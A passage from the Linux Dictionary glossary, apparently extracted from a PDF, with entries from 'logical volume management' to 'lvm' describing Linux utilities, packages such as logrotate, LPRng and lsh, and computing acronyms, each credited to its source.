Used by large hard disk drives to translate hard drive elements (blocks, cylinders, and sectors) into block numbers for processing. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logical volume management (LVM)

A kernel-level subsystem for managing multiple storage devices. Physical drive partitions are collected into logical volumes and provides dynamic resizing of logical volumes with the addition (or removal) of physical drives. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logidee-tools

Tools to write courses in XML and export them to various formats logidee-tools is a set of tools to write courses in XML. You can then export those courses in various formats (PS, PDF, HTML) using several XSL stylesheets. The DTD is quite simple and you can generate files in English and in French. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

login

Begin session on the system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Login

Noun or a verb. Noun: The account name used to gain access to a computer system. Not a secret (contrast with Password). Verb: the act of connecting to a computer system by giving your credentials (usually your "username" and "password"). From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

login

System login tools These tools are required to be able to login and use your system. The login program invokes your user shell and enables command execution. The newgrp program is used to change your effective group ID (useful for workgroup type situations). The su program allows changing your effective user ID (useful being able to execute commands as another user). Also supplies a logout daemon that can place limits on when, from where, and for how long certain users can login to the system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

login.app

A login application designed with the NeXTStep look in mind Login.app provides a graphical login prompt, resembling the one found on NeXTStep systems. WindowMaker (wmaker package) is the closest-to-NeXTStep window manager available, therefore, if you want a consistent look and feel, login.app suggests it. It doesn't substitute xdm, it's merely a spiffy login prompt. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logjam

A GTK client for LiveJournal LogJam is a GTK+ client for LiveJournal.com. It is the official LiveJournal *nix client, too. LogJam allows you to quickly and easily work with your LiveJournal without leaving the comfort of X. As an added bonus, it looks fancy. LogJam does everything you'd expect it to, and more. LogJam is the new release of LoserJabber. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logname

print user's login name From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logo

a dialect of lisp using turtle graphics famous for teaching kids. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logout-button

log out from your X session by pressing a button on your screen. This is a button that appears on your screen when you log into xdm. When you press it, it logs you out of the session. You need to have a file called .xsession in your home dir that starts the logout button in the foreground and your window manager in the background. By putting other things in this file, you can do things like change your background to your favorite image, start a clock and/or a terminal window, or even add a rotating earth or fish tank! You can start any number of programs as long as you background them. An example of .xsession is in /usr/doc/logout-button/examples and if you edit it choosing your favorite window manager, it will try to find and use it. Remember to place it in ~you/.xsession and make it executable. If you don't edit it, it will try to find and use the fvwm2 window mgr. X infrastructure has a mechanism which waits for some program to exit indicating the user wishes to end his X session. logout-button is the simplest form of such a "session manager". The example .xsession file provided in the doc/examples directory picks a window manager to run, starts it in the background, optionally

starts other clients (xterm, xearth, xfish tank) also in the background and finally starts the session manager (logout-button) in the foreground, replacing the process and process ID belonging to the shell interpreting the .xsession. Because the infrastructure of X is waiting for this process to exit, when logout-button is pushed, the session is ended. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logrotate

Log rotation utility The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files. Logrotate allows for the automatic rotation compression, removal and mailing of log files. Logrotate can be set to handle a log file daily, weekly, monthly or when the log file gets to a certain size. Normally, logrotate runs as a daily cron job. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logrotate

Logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logtail

Returns parts of logfiles that have not already been returned This program will read in a standard text file and create an offset marker when it reads the end. The offset marker is read the next time logtail is run and the text file pointer is moved to the offset location. This allows logtail to read in the next lines of data following the marker. This is good for marking log files for automatic log file checkers to monitor system events. This program is mainly used by logcheck, because it returns only parts of the system logfiles that have not already been checked. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logtool

Syslog-style logfile parser with lots of output options logtool is a syslog-style logfile parser and report-generator, capable of producing ANSI, ASCII, CSV (for spreadsheets), HTML or just raw output. It's very handy in generating nightly reports and in online monitoring of logfile activity. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logtools

Russell's misc tools for managing log files. clfmerge - merge common-log-format web logs in order without sorting (good for when you have a gig of logs). logprn - like "tail -f" but after a specified time period of inactivity will run a program (such as lpr) and pipe the new data to it) funnel - pipe one stream of data to several files or processes. clfsplit - split CLF format web logs by client IP address. clfdomainsplit - split CLF logs by server domain. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logview

the GNOME logfile viewer From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logwatch

LogWatch is a customizable log analysis system. LogWatch parses through your system's logs for a given period of time and creates areport analyzing areas that you specify, in as much detail as you require. LogWatch is easy to use and claims that it will work right out of the package on almost all systems. Note that LogWatch now analyzes Samba logs. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lojban-common

Commonly used wordlists for the lojban language This package contains the (hopefully latest) versions of the gismu, cmavo, and lujvo wordlists for the lojban language. See <http://www.lojban.org/> for more information on this language. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lokkit

basic interactive firewall configuration tool (console interface) Lokkit is an attempt to provide firewalling for the average Linux end user. Instead of having to configure firewall rules the Lokkit program asks a small number of simple questions and writes a firewall rule set for you. Lokkit is not designed to configure arbitrary firewalls. To make it simple to understand it is solely designed to handle typical dialup user and cable modem setups. It is not the answer to a complex firewall configuration, and it is not the equal of an expert firewall designer. Home Page:

<http://www.linux.org.uk/apps/lokkit.shtml> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lokkit

The Lokkit utility attempts to provide firewalling for the average Linux end user. Instead of configuring firewall rules, Lokkit asks a small number of simple questions and writes a firewall rule set for you. Lokkit is not designed to configure arbitrary firewalls. To make it simple to understand, it is solely designed to handle typical dialup user and cable modem setups. It will not provide a complex firewall configuration, and it is not the equal of an expert firewall designer. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOL

Laughing Out Loud (slang, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

longrun

Transmeta(TM) Crusoe(TM) LongRun(TM) utility LongRun (power management mechanism of Transmeta's Crusoe CPU) control utility. You can set/get LongRun status from command line. This utility only works on the LongRun support Crusoe CPU, and require the Linux CPUID and MSR device drivers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lonix

Lonix is a console-based full Linux system which runs from a live CD. Based on Linux From Scratch, this distribution includes useful utilities for students and developers. Some servers, such as Apache, Proftpd, and sshd are pre-configured and included. It can also be used as a partition tool (featuring fdisk and parted) or as a rescue CD. Currently, the homepage and some scripts in the CD are just in Spanish. There may be a future release that is also in English. The initial Freshmeat announcement for version 1.0rc3, was made on October 13, 2002. Version 1.0rc5 was released October 27, 2002. A CD-based distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

look

display lines beginning with a given string From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Looks like Italian. Distro at 4.0; site is also news and comments in Italian. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lookup

utility to search text files quickly and powerfully. It provides: Romaji-to-Kana Converter, Fuzzy Searching, Search with Regular Expressions, Filtering, Automatic Modifications, Smart Word-Preference Mode From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lookup-el

Search interface to electronic dictionaries by Emacs. The original name of this software is lookup, then here after this package is referred as "Lookup". Lookup is a search dictionary software for Emacs/XEmacs. (The original Lookup supports Mule, but this debian-package does not support Mule.) Lookup provide the simple and unified search interface for the commercial electric dictionary as well as the network dictionary server . The features of Lookup – Lookup can access various dictionaries. Furthermore the interface of search is unified. – Lookup can be used to search a number of dictionaries at one try. – You can add the new search command easily, p.r.n. (See info) – If you need, You can customize the result of search. (See info) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loopback

A virtual device that allows a computer system to mount image files (a loopback device) or run services for the local machine (a loopback network address). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loopback address

a special IP number (127.0.0.1) that is designated for the software loopback interface of a machine. 127.0.0.0 through 127.255.255.255 is also reserved for loopback and is used for internal testing on local machines. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loopback device

is a block device that can be used as a disk but really points to an ordinary file somewhere. If your imagination isn't already running wild, consider creating a floppy disk with file system, files and all, without actually having a floppy disk, and being able to dump this creation to floppy at any time with dd. You can also have a whole other LINUX system inside a 500 MB file on a Windows partition and boot into it--thus obviating having to repartition a Windows machine just to run LINUX. All this can be done with loopback and RAM devices. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LoopLinux

This is a Slackware based distribution of the Linux operating system that can be installed and run from a DOS system, i.e. MSDOS, PCDOS, DRDOS, and Win9X in DOS mode. With the loop or UMSDOS version of the Linux system there's no need to repartition. The Linux system will just be a file or directory on your current DOS/Win9X system, and act like it was on it's own partition.

LoopLinux 3.0 was released June 4, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOOPS

LISP Object Oriented Programming System (Xerox, OOP, LISP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOP

Loss of Pointer (UNI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lopster

A Napster client using the GTK UI. Lopster is a Napster Client developed in C using the GTK user interface. Napster is a protocol for sharing MP3 files between users. With Napster, the files stay on the client machine, never passing through the server. The server provides the ability to search for particular files and initiate a direct transfer between the clients. In addition, chat forums similar to IRC are available. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lorder

list dependencies for object files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOS

Local Operating System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOS

Loss of Signal (UNI, ATM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

losetup

Linux supports a special block device called the loop device, which maps a normal file onto a virtual block device. This allows for the file to be used as a "virtual file system" inside another file. Losetup is used to associate loop devices with regular files or block devices, to detach loop devices and to query the status of a loop device. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

losetup

set up and control loop devices From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOSP

LOW SPeed channel connector (Cray, I/O) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lossless compression

A data compression technique that reduces the size of a file without sacrificing any original data; used by programs, such as Stacker to compress all the program and document files on a hard disk. In lossless compression, the expanded or restored file is an exact replica of the original file before it was compressed, while in lossy compression, data is lost in a way imperceptible to humans. Lossless compression is suitable for text and computer code, while lossy compression is good mainly for shrinking audio and graphics files. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lossy compression

A data compression technique in which some data is deliberately discarded to achieve massive reductions in the size of the compressed file. Lossy compression techniques can reduce a file to 1/50 of its former size (or less), compared to the average of one-third achieved by lossless compression techniques. Lossy compression is used for graphics files in which the loss of data – such as information about some of the graphic's several million colors – isn't noticeable. An example is the JPEG compression technique. see lossless compression. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Lost cluster

A cluster that remains on disk, even though the file allocation table (FAT) contains no record of its link to a file. Lost clusters can occur when the computer is turned off (or the power fails) or tries to perform other operation while a file is being written. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lout

Typesetting system, an alternative to (La)TeX. Lout is a document formatting system similar in style to LaTeX, i.e. it works with mark-up files – plain text files containing commands to control the formatting. Lout offers a very full range of features, including o PostScript, PDF, and plain text output o optimal paragraph and page breaking o automatic hyphenation o PostScript EPS file inclusion and generation o equation formatting, tables, diagrams o rotation and scaling o sorted indexes, bibliographic databases o running headers and odd-even pages, automatic cross referencing o multilingual documents including hyphenation (most European languages are supported, including Russian), o formatting of C/C++ programs. Lout may be extended by writing definitions which are much simpler than the equivalent troff or TeX macros. Lout has several advantages over (La)TeX. It is much smaller, and it is much easier to understand how to do things in Lout (including writing definitions) than in TeX or LaTeX. Lout's PostScript output is very small and clean. However, it is much less widely used than (La)TeX, so there are fewer add-on definition packages for Lout than for (La)TeX and fewer local experts around to ask about problems. You are unlikely to find many Lout documents floating around the 'net. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOV

List Of Values (DB, Oracle, Java) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOVIS

LagerOrtVerwaltungs- und InformationsSystem (MBAG) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

low-bandwidth

adj. [from communication theory] Used to indicate a talk that, although not content-free, was not terribly informative. "That was a low-bandwidth talk, but what can you expect for an audience of suits!" Compare zero-content, bandwidth, math-out. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

low-level language

A computer language that deals with hardware registers by name; also known as assembly language. A program written in a low-level language can be used only on a computer system that uses one type of main processor (or possibly a member of a family of processors). From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LP

Line Printer (Unix) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LP

Linear Programming From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LP

Logical Partition (LVM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lp (line printer, lpd, lpr)

On UNIX systems, the printer is generally known as the "line printer". Remember that in the days before computers, there actually existed printing devices that were not attached to computers. The line-printer is a printer that was "on-line" and available for use by the computer. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lp-solve

Solve (mixed integer) linear programming problems The linear programming (LP) problem can be formulated as: Solve $A \cdot x \geq V1$, with $V2 \cdot x$ maximal. A is a matrix, x a vector of (nonnegative) variables, $V1$ a vector called the right hand side, and $V2$ a vector specifying the objective function. An integer linear programming (ILP) problem is an LP with the constraint that all the variables are integers. In a mixed integer linear programming (MILP) problem, some of the variables are integer and others are real. The program `lp_solve` solves LP, ILP, and MILP problems. It is slightly more general than suggested above, in that every row of A (specifying one constraint) can have its own (in)equality, \leq , \geq or $=$. The result specifies values for all variables. `lp_solve` uses the 'Simplex' algorithm and sparse matrix methods for pure LP problems. If one or more of the variables is declared integer, the Simplex algorithm is iterated with a branch and bound algorithm, until the desired optimal solution is found. `lp_solve` can read MPS format input files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPB

[S3] Local Peripheral Bus From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

line printer control program From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPC

Linear Predictive Coding (voice processing) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPC

Low Pin Count [interface] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPD

Line Printer DAEMON From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpd

line printer spooler daemon From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpd

`Lpd` is the line printer daemon (spool area handler) and is normally invoked at boot time from the `rc(8)` file. It makes a single pass through the `printcap(5)` file to find out about the existing printers and prints any files left after a crash. It then uses the system calls `listen` and `accept` to receive requests to print files in the queue, transfer files to the spooling area, display the queue, or remove jobs from the

Linux Dictionary

queue. In each case, it forks a child to handle the request so the parent can continue to listen for more requests. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpkg

Newton MessagePad PDA Package Loader Using lpkg you can install Newton packages from your Linux machine to your Apple's Newton MessagePad PDA device through the serial port. Use /usr/sbin/lpkgconfig to configure which port you want to use, and users must be in the 'dialout' group to use lpkg. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPP

Licensed Program Product (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpq

lpq examines the spooling area used by lpd for printing files on the line printer, and reports the status of the specified jobs or all jobs associated with a user. Lpq invoked without any arguments reports on any jobs currently in the queue. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpq

spool queue examination program From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpr

BSD lpr/lpd line printer spooling system This is the BSD printer spooler and associated utilities. You can use this for local and remote printers. If you install magicfilter or apsfiler (along with ghostscript), lpr will be able to automatically handle special file types (such as Postscript and PDF files). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPR

Low Priority Request (VUMA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpr

off line print From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpr

The line printer command uses a spooling daemon to print the named files when facilities become available. If no names appear, the standard input is assumed. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lpr-ppd

BSD lpr/lpd line printer spooling system This is the BSD printer spooler and associated utilities. You can use this for local and remote printers. If you install magicfilter or apsfiler (along with ghostscript), lpr will be able to automatically handle special file types (such as Postscript and PDF files). If you install printfilters-ppd, lpr will be able to handle device-specific options via PPD files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lprfax

Utility to allow printing to a fax modem lprfax provides a set of scripts and programs to control network fax spooling through the LPRng print system. The goal is to enable transparent faxing in any application able to print, via 'lpr -Pfax -J<number or name>'. Features: * integration with mgetty/sendfax system and configuration files * load balancing among multiple fax modems * remote queue/log inspection and control * Customizable cover page generation via banner-page filters * Customizable name/fax number lookup from job specification * automated fax retries via lprng hold/release mechanism From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lprm

remove jobs from the line printer spooling queue From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lprng

lpr/lpd printer spooling system The LPRng software is an enhanced, extended, and portable version of the Berkeley LPR software (the standards UNIX printer spooler) You can use this for local and remote printers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPRng

LPRng is an enhanced, extended, and portable implementation of the Berkeley LPR print spooler functionality. LPRng provides the same interface and meets RFC1179 requirements, but the implementation is completely new and provides support for the following features: lightweight (no databases needed) lpr, lpc, and lprm programs; dynamic redirection of print queues; automatic job holding; highly verbose diagnostics; multiple printers serving a single queue; client programs do not need to run SUID root; greatly enhanced security checks; and a greatly improved permission and authorization mechanism. LPRng is compatible with other print spoolers and network printers that use the LPR interface and meet RFC1179 requirements. LPRng provides emulation packages for the SVR4 lp and lpstat programs, eliminating the need for another print spooler package. These emulation packages can be modified according to local requirements, in order to support older printing systems. For users who require secure and/or authenticated printing support, LPRng supports Kerberos V, MIT Kerberos IV Print Support, and PGP authentication. Additional authentication support is very simple

to add. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPRng

The next-generation line printer daemon that adds features and printer filters over the legacy lpr. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lprngtool

GUI frontend to LPRng based /etc/printcap LPRngTool is a graphical frontend to configure the /etc/printcap on LPRng based printing systems. It is based on Red Hat's printtool, but has a number of added features. It has support for configuring local, remote, SMB, JetDirect, and raw printers and queues. It has support for a number of queue management features such as: pause/resume, reprinting of errored jobs, ability to view remote printcaps, job removal, job redirection, job reordering, and the ability to stop or start queueing, printing, or both. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPS

Lines Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPS

Lotus Professional Services (Lotus) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPT

/L-P-T/ or /lip'it/ or /lip-it/' n. 1. Line printer (originally Line Printing Terminal). Rare under Unix, more common among hackers who grew up with ITS, MS-DOS, CP/M and other operating systems that were strongly influenced by early DEC conventions. 2. Local PorT. Used among MS-DOS programmers (and so expanded in the MS-DOS 5 manual). It seems likely this is a backronym. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LPT

Line PrinTer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lptest

generate lineprinter ripple pattern From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsattr

list file attributes on a Linux second extended file system From whatis
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LSB

Least Significant Bit From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LSB

Linux Standard Base (Linux) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

lsb

Linux Standard Base 1.1 core support package The Linux Standard Base (<http://www.linuxbase.org/>) is a standard core system that third–party applications can depend upon. This package provides an implementation of version 1.1.0 of the Linux Standard Base for Debian on the Intel x86 architecture with the Linux kernel. Future revisions may support the LSB on additional architectures and kernels.

Linux Dictionary

The intent of this package is to provide a best current practice way of installing and running LSB packages on Debian GNU/Linux. Its presence does not imply that we believe that Debian fully complies with the Linux Standard Base, and should not be construed as a statement that Debian is LSB-compliant. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsb

The skeleton package defining packages needed for LSB compliance. Also contains some directories LSB tests look for that aren't owned by other Mandrake packages, and scripts to re-create the old /sbin/fasthalt and /sbin/fastboot. Currently, to be able to run the LSB binary test suit successfully, you need to boot with devfs=nomount, as well as insure that the partitions containing /tmp and /home are mounted with the option 'atime', rather than 'noatime'. You should also note that using the fstab option 'acl' for Posix ACLs will generate 1 test failure. This is not enabled by default on Mandrake Linux.

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsb-release

LSB version query program This program forms part of the required functionality of the LSB (Linux Standard Base) specification. The program queries the installed state of the distribution to display certain properties such as the version of the LSB against which the distribution claims compliance as well. It can also attempt to display the name and release of the distribution along with an identifier of who produces the distribution. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsbdev-guide

LSB Application Developers' Guide This is the LSB Application Developers' Guide, a document that covers the highlights and specifics that are important when developing applications for Linux that are compliant with the Linux Standard Base (LSB) specification. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LSD

LSD was proposed as a Linux OS that could be a cache server distribution on CD-ROM, is suitable for installation on lowest-common-denominator PC hardware. Version 001 of the cache appliance was released in June 1998. Distribution development is not all that active. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LSDU

Link Service Data Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LSE

Local Subscriber Environment From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LSF

Load Sharing Facility From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsfcc

Linux Socket Filter Command Compiler This is lsfcc, a compiler producing Linux Socket Filter instructions out of a vaguely C-like toy language. LSF is a facility available in the Linux kernel since 2.1.something, whereby one can attach a set of filter rules to a socket to restrict the traffic that is allowed to pass through it. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsh

baby shell for novices with DOS compatible commands Lsh is a shell partially inspired by some command interpreters for PC monitors (such as 4-DOS, DR-DOS, MS-DOS, N-DOS, PC-DOS, Q-DOS and others, which might be trademarks of their owners and which is hereby acknowledged). However, most of the features of this shell are simply adapted from Unix (which also happens to be a trademark) shells. Lsh is especially useful for users who have had some DOS experience and are now supposed to do something under UNIX. This shell will ease the transition and make the usage of dialup services extremely easy for them. Note that this has nothing to do with the lsh Secure Shell v2

(SSH2) protocol implementation. If you need that SSH2 client, install lsh-client and see the lshc command. upstream webpage: <http://people.cs.uct.ac.za/~mwelz/lsh.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsh-client

A Secure Shell v2 (SSH2) protocol implementation --- client lsh is GNU GPL'd implementation of the Secure Shell protocol version 2 (SSH2). The SSH (Secure SHell) protocol is a secure replacement for rlogin, rsh and rcp. This package contains the lsh client. This package is required to log into a remote lsh or ssh2 server. Please note that the client binary is normally called `lsh' rather than `lshc', but as there is already a `lsh' binary in Debian (the Limited SHell - see the `lsh' package), the client binary has been renamed to `lshc'. All the other program names remain as normal. This software may be freely imported into the United States; however, the United States Government may consider re-exporting it a criminal offense. Thus, if you are outside the US, please retrieve this software from outside the US. In some countries, particularly Russia, Iraq, Pakistan, and France, it may be illegal to use any encryption at all without a special permit. WARNING: This is a work in progress, and may be totally insecure. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsh-server

A Secure Shell v2 (SSH2) protocol implementation --- server lsh is GNU GPL'd implementation of the Secure Shell protocol version 2 (SSH2). The SSH (Secure SHell) protocol is a secure replacement for rlogin, rsh and rcp. This package contains the lsh server, lshd. This package is required to allow SSH2 logins to the local machine. If you also want to enable SSH1 logins, make sure you install the ssh package. This software may be freely imported into the United States; however, the United States Government may consider re-exporting it a criminal offense. Thus, if you are outside the US, please retrieve this software from outside the US. In some countries, particularly Russia, Iraq, Pakistan, and France, it may be illegal to use any encryption at all without a special permit. WARNING: This is a work in progress, and may be totally insecure. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lsh-utils

Secure Shell v2 (SSH2) protocol implementation --- utilities lsh is GNU GPL'd implementation of the Secure Shell protocol version 2 (SSH2). The SSH (Secure SHell) protocol is a secure replacement for rlogin, rsh and rcp. This package contains the lsh utilities. This includes programs such as lsh_keygen, lsh_writekey (both programs for public/private key generation), lsh-authorize (for automatic remote key authentication) and a number of other utilities for use with both the lsh server and client. This software may be freely imported into the United States; however, the United States Government may consider re-exporting it a criminal offense. Thus, if you are outside the US, please retrieve this software from outside the US. In some countries, particularly Russia, Iraq, Pakistan, and France, it may be illegal to use any encryption at all without a special permit. WARNING: This is a work in progress, and may be totally insecure. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lshell

Enforce limits to protect system integrity. This program enforces resource quotas stored in a configuration file. It is easier and more secure that writing a shell script in /etc/profile and trying to compare user names in hard-coded if/else type trees. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lurkftp

monitor changes in ftp sites and opt. mirror to a local directory This is the ultimate ftp site lurker program. It is a simple program to monitor changes in ftp sites and either just report changes or mirror changes into a local directory. So why another mirror program? Because I couldn't get any of the mirror programs on sunsite to do what I wanted half-way reliably & efficiently. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LUT

Look-Up Table (RAMDAC, FPGA, RL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LuteLinux

LuteLinux is a desktop oriented distribution. The most recent notes on the web site are dated November 2000. Distribution development is not all that active. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

luxman

Pac-Man clone A Pac-Man clone for SVGA LIB. Includes color, sound, several different levels, and difficulty levels. Also includes tools for making your own levels and customizing the game. WARNING: This package CONTAINS SETUID ROOT BINARIES. This is a possible SECURITY RISK. I don't want to tell you not to afraid, but this package is in Debian since 4 years w/o problems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LV

Logical Volume (LVM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LV

Low Voltage From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lv

Powerful Multilingual File Viewer lv is a powerful file viewer like less. lv can decode and encode multilingual streams through many coding systems: ISO-8859, ISO-2022, EUC, SJIS, Big5, HZ, Unicode. It recognizes multi-bytes patterns as regular expressions, lv also provides multilingual grep. In addition, lv can recognize ANSI escape sequences for text decoration. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVD

Low Voltage Differential [technology] (SCSI, Symbois Logic) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVDS

Low Voltage Differential Signal (TI, NSC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVE

Live Video Extension (video) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVM

Logical Volume Manager (AIX, HP/UX, OSF/1, HDD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LVM

Logical Volume Manager: Most Unix-like systems now have the ability to break up physical discs into some number of units. Storage units from multiple drives can be pooled into a "logical volume", where they can be allocated to partitions. Additionally, units can be added or removed from partitions as space requirements change. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lvm

